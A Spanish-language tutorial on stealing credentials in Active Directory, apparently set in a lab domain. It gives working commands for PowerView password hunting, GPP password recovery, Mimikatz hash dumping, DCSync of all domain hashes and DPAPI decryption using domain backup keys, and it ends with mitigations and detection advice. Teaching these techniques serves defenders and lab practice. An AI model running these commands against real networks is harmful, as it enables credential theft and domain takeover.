Acceso a credenciales en Active Directory
El acceso a credenciales es una fase crítica en el proceso de comprometer un entorno de Active Directory. Los atacantes buscan obtener credenciales válidas para escalar privilegios y moverse lateralmente dentro de la red. A continuación, se detallan algunas de las técnicas más comunes para acceder a credenciales en Active Directory, junto con ejemplos prácticos de explotación.
Credenciales en texto claro en el dominio
En algunos casos, es posible encontrar credenciales en texto claro almacenadas de forma insegura en el dominio. Algunas fuentes comunes incluyen:
-
Campos de descripción de usuarios: A veces, los administradores almacenan contraseñas temporales o notas en el campo de descripción de las cuentas de usuario.
Ejemplo de enumeración con PowerView:
Get-DomainUser | Where-Object {$_.Description -match "password"} | Select-Object samaccountname,description
-
Archivos de Group Policy Preferences (GPP): Antes de MS14-025, las contraseñas en GPP se almacenaban cifradas con una clave conocida.
Ejemplo de búsqueda con PowerSploit:
Get-GPPPassword
-
Shares de red: Los atacantes pueden buscar archivos de texto o configuración que contengan credenciales.
Ejemplo usando PowerView:
Find-InterestingDomainShareFile -Include *password*
Captura de hash
La captura de hash implica obtener el hash de la contraseña de un usuario, que puede utilizarse posteriormente en ataques de Pass-the-Hash. Una herramienta popular para esta tarea es Mimikatz.
Ejemplo de uso de Mimikatz para extraer hashes:
privilege::debug
sekurlsa::logonpasswords
Este comando mostrará los hashes NTLM y otros secretos de las sesiones de usuario activas.
Ataques DCSync
El ataque DCSync abusa de los privilegios de replicación de Domain Controller para obtener hashes de contraseñas de todos los usuarios del dominio.
Ejemplo de ataque DCSync con Mimikatz:
lsadump::dcsync /domain:sevenkingdoms.local /all /csv
Este comando realizará un DCSync y exportará todos los hashes de usuario a un archivo CSV.
Dumping de credenciales de usuario en texto claro vía DPAPI
La API de Protección de Datos (DPAPI) se utiliza para proteger datos sensibles en Windows. Sin embargo, con acceso administrativo, es posible extraer las claves maestras y descifrar los datos protegidos.
Ejemplo de extracción de credenciales usando Mimikatz:
-
Localizar archivos de credenciales:
dir /a:h C:\Users\khal.drogo\AppData\Local\Microsoft\Credentials\*
-
Extraer la información del archivo de credenciales:
dpapi::cred /in:C:\Users\khal.drogo\AppData\Local\Microsoft\Credentials\D3F1B96726AD3D41975F05F35D0DA8B6
-
Extraer las claves de respaldo del controlador de dominio:
lsadump::backupkeys /system:meereen.essos.local /export
-
Recuperar la clave maestra del usuario:
dpapi::masterkey /in:"C:\Users\khal.drogo\AppData\Roaming\Microsoft\Protect\{USER_SID}\{GUID}" /pvk:PVK_FILE_FROM_STEP_3.pvk
-
Descifrar las credenciales guardadas:
dpapi::cred /in:C:\Users\khal.drogo\AppData\Local\Microsoft\Credentials\D3F1B96726AD3D41975F05F35D0DA8B6 /masterkey:MASTERKEY_FROM_STEP_4
Mitigaciones y detección
Para protegerse contra estas técnicas de acceso a credenciales, los defensores pueden implementar las siguientes medidas:
- Utilizar herramientas como Microsoft Local Administrator Password Solution (LAPS) para gestionar contraseñas de administrador local.
- Implementar la autenticación multifactor (MFA) para cuentas privilegiadas.
- Monitorizar eventos de seguridad relacionados con el acceso a credenciales, como el ID de evento 4662 para accesos a objetos secretos.
- Utilizar herramientas de detección de amenazas como Microsoft Defender for Identity para identificar comportamientos sospechosos.
- Implementar el principio de mínimo privilegio y segregación de funciones para limitar el acceso a credenciales sensibles.
En conclusión, el acceso a credenciales en Active Directory es un paso crítico para los atacantes. Comprender estas técnicas permite a los defensores implementar medidas de seguridad más efectivas y detectar intentos de compromiso en etapas tempranas.